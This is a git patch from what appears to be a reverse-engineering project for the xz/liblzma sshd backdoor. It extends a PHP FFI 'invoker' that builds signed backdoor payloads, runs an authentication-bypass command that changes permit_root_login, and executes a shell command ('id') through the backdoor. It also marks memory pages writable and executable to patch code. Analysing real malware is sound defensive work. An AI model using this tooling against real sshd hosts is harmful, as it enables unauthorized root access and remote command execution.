From 61a757f1f3cfa89dc1251c925931aab58ee9b88f Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Mon, 22 Apr 2024 23:05:06 +0200 Subject: [PATCH] add sshd_get_sshbuf, sshd_get_client_socket, and SSH packet dumping code --- common.php | 37 ++++++++++++++- invoker.php | 130 ++++++++++++++++++++++++++++++++++++++++++---------- xzre.h | 45 ++++++++++++++++-- xzre.lds.in | 2 + 4 files changed, 183 insertions(+), 31 deletions(-) diff --git a/common.php b/common.php index 85d083c..413448e 100644 --- a/common.php +++ b/common.php @@ -50,6 +50,12 @@ function encode_data(int $size, int $data){ } } +function make_bytearray(string $data, bool $owned = true){ + $arr = make_array(strlen($data), $owned); + FFI::memcpy(FFI::addr($arr), $data, strlen($data)); + return $arr; +} + function make_array(int $size, bool $owned = true){ $uchar = FFI::type('uint8_t'); $arrT = FFI::arrayType($uchar, [$size]); @@ -71,4 +77,33 @@ function ptrdiff($a, $b){ function ptradd($a, $b){ return $a + $b; -} \ No newline at end of file +} + +function ffi_intval($a){ + if($a instanceof CData){ + return ptrval($a); + } + return $a; +} + +function read8($a){ return FFI::cast('uint8_t *', $a)[0]; } +function read16($a){ return FFI::cast('uint16_t *', $a)[0]; } +function read32($a){ return FFI::cast('uint32_t *', $a)[0]; } +function read64($a){ return FFI::cast('uint64_t *', $a)[0]; } +function readptr($a){return FFI::cast('uintptr_t *', $a)[0]; } + +function write8($a, $v){ FFI::cast('uint8_t *', $a)[0] = ffi_intval($v); } +function write16($a, $v){ FFI::cast('uint16_t *', $a)[0] = ffi_intval($v); } +function write32($a, $v){ FFI::cast('uint32_t *', $a)[0] = ffi_intval($v); } +function write64($a, $v){ FFI::cast('uint64_t *', $a)[0] = ffi_intval($v); } +function writeptr($a, $v){ FFI::cast('uintptr_t *', $a)[0] = ffi_intval($v); } + +function align_up(int $v, int $to){ + $mask = $to - 1; + return ($v + $mask) & ~$mask; +} + +function align_down(int $v, int $to){ + $mask = $to - 1; + return $v & ~$mask; +} diff --git a/invoker.php b/invoker.php index 44f8bc3..0a0d580 100644 --- a/invoker.php +++ b/invoker.php @@ -15,6 +15,26 @@ require_once __DIR__ . '/vendor/autoload.php'; require_once __DIR__ . '/common.php'; +define('O_ACCMODE', 00000003); +define('O_RDONLY', 00000000); +define('O_WRONLY', 00000001); +define('O_RDWR', 00000002); +define('O_CREAT', 00000100); /* not fcntl */ +define('O_EXCL', 00000200); /* not fcntl */ +define('O_NOCTTY', 00000400); /* not fcntl */ +define('O_TRUNC', 00001000); /* not fcntl */ +define('O_APPEND', 00002000); +define('O_NONBLOCK', 00004000); +define('O_SYNC', 00010000); +define('FASYNC', 00020000); /* fcntl, for BSD compatibility */ +define('O_DIRECT', 00040000); /* direct disk access hint */ +define('O_LARGEFILE', 00100000); +define('O_DIRECTORY', 00200000); /* must be a directory */ +define('O_NOFOLLOW', 00400000); /* don't follow links */ +define('O_NOATIME', 01000000); +define('O_CLOEXEC', 02000000); /* set close_on_exec */ +define('O_NDELAY', O_NONBLOCK); + class Invoker { private FFI $ffi; private FFI $crypto; @@ -43,9 +63,13 @@ private function init_ffi(){ ); $this->syms = FFI::cdef(' + typedef unsigned int mode_t; + void *dlsym(void *handle, const char *symbol); int mprotect(void *addr, size_t len, int prot); int getpagesize(void); + int open(const char *pathname, int flags, mode_t mode); + int close(int fd); ' ); } @@ -74,6 +98,16 @@ private function dlsym(string $sym){ private CData $nat_sshkey; private CData $nat_sshkey_pub; + private CData $nat_STR_ssh_rsa_cert_v01_openssh_com; + private CData $nat_STR_rsa_sha2_256; + private CData $nat_monitor_ptr; + private CData $nat_monitor_data; + + private $fd_ssh_out; + private $fd_ssh_in; + private $fd_ssh_log_out; + private $fd_ssh_log_in; + private function init_structures_part0(){ $ffi = $this->ffi; $this->nat_ctx = $ffi->new('global_context_t'); @@ -107,22 +141,59 @@ private function init_structures_part0(){ return 0; }; + $this->nat_STR_ssh_rsa_cert_v01_openssh_com = make_bytearray("ssh-rsa-cert-v01@openssh.com\x00"); + $this->nat_STR_rsa_sha2_256 = make_bytearray("rsa-sha2-256\x00"); + + $this->nat_ctx->STR_ssh_rsa_cert_v01_openssh_com = FFI::cast('char *', FFI::addr($this->nat_STR_ssh_rsa_cert_v01_openssh_com)); + $this->nat_ctx->STR_rsa_sha2_256 = FFI::cast('char *', FFI::addr($this->nat_STR_rsa_sha2_256)); + $this->nat_ctx->num_shifted_bits = ED448_PUBKEY_SIZE * 8; $this->nat_ctx->imported_funcs = FFI::addr($this->nat_imported_funcs); $this->nat_ctx->libc_imports = FFI::addr($this->nat_libc_imports); $this->nat_ctx->sshd_log_ctx = FFI::addr($this->nat_sshd_log_ctx); $this->nat_ctx->sshd_ctx = FFI::addr($this->nat_sshd_ctx); + + $this->nat_monitor_ptr = make_array(8); + $this->nat_monitor_data = $ffi->new('struct monitor'); + writeptr(FFI::addr($this->nat_monitor_ptr), FFI::addr($this->nat_monitor_data)); + + /** @var mixed */ + $syms = $this->syms; + $this->fd_ssh_out = $syms->open('ssh_out.bin', O_CREAT|O_RDWR|O_TRUNC, 0666); + $this->fd_ssh_in = $syms->open('ssh_in.bin', O_CREAT|O_RDWR|O_TRUNC, 0666); + $this->fd_ssh_log_out = $syms->open('ssh_out_log.bin', O_CREAT|O_RDWR|O_TRUNC, 0666); + $this->fd_ssh_log_in = $syms->open('ssh_in_log.bin', O_CREAT|O_RDWR|O_TRUNC, 0666); + + /* + $this->nat_monitor_data->m_recvfd = 1; + $this->nat_monitor_data->m_sendfd = 0; + + $this->nat_monitor_data->m_log_recvfd = 1; + $this->nat_monitor_data->m_log_sendfd = 0; + */ + $this->nat_monitor_data->m_recvfd = $this->fd_ssh_out; + $this->nat_monitor_data->m_sendfd = $this->fd_ssh_in; + $this->nat_monitor_data->m_log_recvfd = $this->fd_ssh_log_out; + $this->nat_monitor_data->m_log_sendfd = $this->fd_ssh_log_in; + + $this->nat_monitor_data->m_pkex = NULL; + $this->nat_monitor_data->m_pid = getmypid(); + $this->nat_monitor_ptr = FFI::new('void *[1]'); + $this->nat_monitor_ptr[0] = FFI::addr($this->nat_monitor_data); + + $this->nat_ctx->struct_monitor_ptr_address = FFI::cast('void *', FFI::addr($this->nat_monitor_ptr)); /** init imported functions */ - foreach(['RSA_get0_key', 'RSA_set0_key', 'RSA_sign', - 'BN_bn2bin', 'BN_num_bits', 'EVP_CIPHER_CTX_new', - 'EVP_DecryptInit_ex', 'EVP_DecryptUpdate', - 'EVP_DecryptFinal_ex', 'EVP_CIPHER_CTX_free', - 'EVP_chacha20', 'RSA_new', 'RSA_free', 'BN_dup', 'BN_bin2bn', 'BN_free', - 'EVP_Digest', 'EVP_sha256', 'EVP_PKEY_new_raw_public_key', - 'EVP_MD_CTX_new', 'EVP_DigestVerifyInit', 'EVP_DigestVerify', - 'EVP_MD_CTX_free', 'EVP_PKEY_free' + foreach(['RSA_public_decrypt', 'EVP_PKEY_set1_RSA', + 'DSA_get0_pqg', 'DSA_get0_pub_key', + 'EC_POINT_point2oct', 'EC_KEY_get0_public_key', + 'EC_KEY_get0_group', 'EVP_sha256', 'RSA_get0_key', 'BN_num_bits', + 'EVP_PKEY_new_raw_public_key', 'EVP_MD_CTX_new', 'EVP_DigestVerifyInit', + 'EVP_DigestVerify', 'EVP_MD_CTX_free', 'EVP_PKEY_free', 'EVP_CIPHER_CTX_new', + 'EVP_DecryptInit_ex', 'EVP_DecryptUpdate', 'EVP_DecryptFinal_ex', 'EVP_CIPHER_CTX_free', + 'EVP_chacha20', 'RSA_new', 'BN_dup', 'BN_bin2bn', 'RSA_set0_key', + 'EVP_Digest', 'RSA_sign', 'BN_bn2bin', 'RSA_free', 'BN_free' ] as $fn){ $addr = $this->dlsym($fn); if($addr == null) throw new RuntimeException(); @@ -132,7 +203,7 @@ private function init_structures_part0(){ foreach([ 'getuid', 'exit', 'malloc_usable_size', 'setresuid', 'setresgid', 'system', 'pselect', 'setlogmask', - '__errno_location' + '__errno_location', 'write', 'read', 'shutdown', '__libc_stack_end' ] as $fn){ $addr = $this->dlsym($fn); if($addr == null) throw new RuntimeException(); @@ -287,10 +358,10 @@ private function payload_make(int $cmd_type, string $packet){ ); } - private function payload_make_type3(){ + private function payload_make_bypass_auth(){ $cmd_type = 3; $packet = ('' - . $this->payload_make_args(0, 0x4, 0, 0) + . $this->payload_make_args(0, 0x4, 0x20, 0) . str_repeat("\x00", 0x30) ); return $this->payload_make($cmd_type, $packet); @@ -355,8 +426,8 @@ private function backdoor_invoke(string $payload){ $this->nat_RSA_free($payload_rsa_key); } - public function cmd_type3(){ - $payload = $this->payload_make_type3(); + public function cmd_bypass_auth(){ + $payload = $this->payload_make_bypass_auth(); say("permit_root_login: {$this->nat_permit_root_login->cdata}"); $this->backdoor_invoke($payload); say("permit_root_login: {$this->nat_permit_root_login->cdata}"); @@ -375,17 +446,24 @@ public function cmd_system(string $command){ $this->backdoor_invoke($payload); } - private function nat_unprotect_page(CData $addr){ + private function getpagesize(){ + /** @var mixed */ + $ffi = $this->syms; + $pagesz = $ffi->getpagesize(); + return $pagesz; + } + + private function nat_unprotect(CData $addr, int $size){ /** @var mixed */ $ffi = $this->syms; $pagesz = $ffi->getpagesize(); - $pagemask = $pagesz - 1; + $size = align_up($size, $pagesz); $val = FFI::cast('uintptr_t', $addr); - $val->cdata = $val->cdata & ~$pagemask; + $val->cdata = align_down($val->cdata, $pagesz); $ptr = FFI::cast('void *', $val); - $ret = $ffi->mprotect($ptr, $pagesz, 7); + return $ffi->mprotect($ptr, $size, 7); } public function debug_place_breakpoints(int ...$addrs){ @@ -393,7 +471,7 @@ public function debug_place_breakpoints(int ...$addrs){ $ffi = $this->ffi; $ptr1 = $ffi->run_backdoor_commands; - $this->nat_unprotect_page($ffi->run_backdoor_commands); + $this->nat_unprotect($ffi->run_backdoor_commands, $this->getpagesize()); $code = "\xeb\xfe\x90\x90"; FFI::memcpy($ptr1, $code, strlen($code)); @@ -402,12 +480,13 @@ public function debug_place_breakpoints(int ...$addrs){ $base = 0x9490; $inspect_sigcheck = <<<'EOS' - b verify_signature - commands - x/50xb $rsi - printf "payload_body_size: %u\n", $rdx - printf "signed_data_size: %u\n", $rcx - end + # b verify_signature + # commands + # x/50xb $rsi + # printf "payload_body_size: %u\n", $rdx + # printf "signed_data_size: %u\n", $rcx + # end + b sshd_get_client_socket EOS; @@ -506,4 +585,5 @@ public function __destruct(){ print(" done!\n"); */ -$invoker->cmd_type3(); +$invoker->cmd_system('id'); +//$invoker->cmd_bypass_auth(); diff --git a/xzre.h b/xzre.h index 3a62853..c799ccc 100644 --- a/xzre.h +++ b/xzre.h @@ -23,9 +23,10 @@ typedef uint64_t u64; typedef uintptr_t uptr; #ifdef XZRE_SLIM -typedef int pid_t; -typedef int uid_t; -typedef int gid_t; +typedef unsigned int pid_t; +typedef unsigned int uid_t; +typedef unsigned int gid_t; +typedef unsigned int mode_t; typedef uint32_t Elf32_Addr; typedef uint64_t Elf64_Addr; typedef uptr @@ -968,11 +969,11 @@ typedef struct __attribute__((packed)) global_context { /** * @brief location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com" */ - char *ssh_rsa_cert_v01_openssh_com_str; + char *STR_ssh_rsa_cert_v01_openssh_com; /** * @brief location of sshd .rodata string "rsa-sha2-256" */ - char *rsa_sha2_256_str; + char *STR_rsa_sha2_256; struct monitor **struct_monitor_ptr_address; PADDING(0x8); /** @@ -2986,6 +2987,40 @@ extern BOOL sshd_find_monitor_struct( global_context_t *ctx ); +enum SocketMode { + DIR_WRITE = 0, + DIR_READ = 1 +}; + +/** + * @brief Get either the read or write end of the sshd connection. + * + * this is done by using the `struct monitor` address in @p ctx or, if not set, + * by getting the first usable socket from 0 to @p socket_idx_max , excluded + * + * @param ctx the global socket + * @param pSocket output variable that will receive the socket fd + * @param socket_idx_max maximum number of sockets to try, heuristically + * @param socket_direction whether to get the receiving or the sending socket + * @return BOOL TRUE if the socket was found, FALSE otherwise + */ +extern BOOL sshd_get_client_socket( + global_context_t *ctx, + int *pSocket, + int socket_idx_max, + enum SocketMode socket_direction +); + +/** + * @brief Finds the right `sshbuf` (FIXME: which?), starting from: + * `(*(ctx->struct_monitor_ptr_address))->kex->my` + * + * @param sshbuf pointer to a sshbuf that will be filled with the values of the sshbuf + * @param ctx the global context + * @return BOOL TRUE if the sshbuf was found, FALSE otherwise + */ +extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx); + /** * @brief counts the number of times the IFUNC resolver is called * diff --git a/xzre.lds.in b/xzre.lds.in index d7b1619..7a9f5bc 100644 --- a/xzre.lds.in +++ b/xzre.lds.in @@ -118,6 +118,8 @@ SECTIONS_BEGIN() DEFSYM(sshd_patch_variables, .text.lzma_block_unpadded_siza) DEFSYM(sshd_find_monitor_struct, .text.lzma_mf_bt4_fina) DEFSYM(sshd_auth_bypass, .text.lzip_decoder_memconfia) + DEFSYM(sshd_get_client_socket, .text.index_encoda) + DEFSYM(sshd_get_sshbuf, .text.threads_stoz) SECTIONS_END(.text) SECTIONS_BEGIN()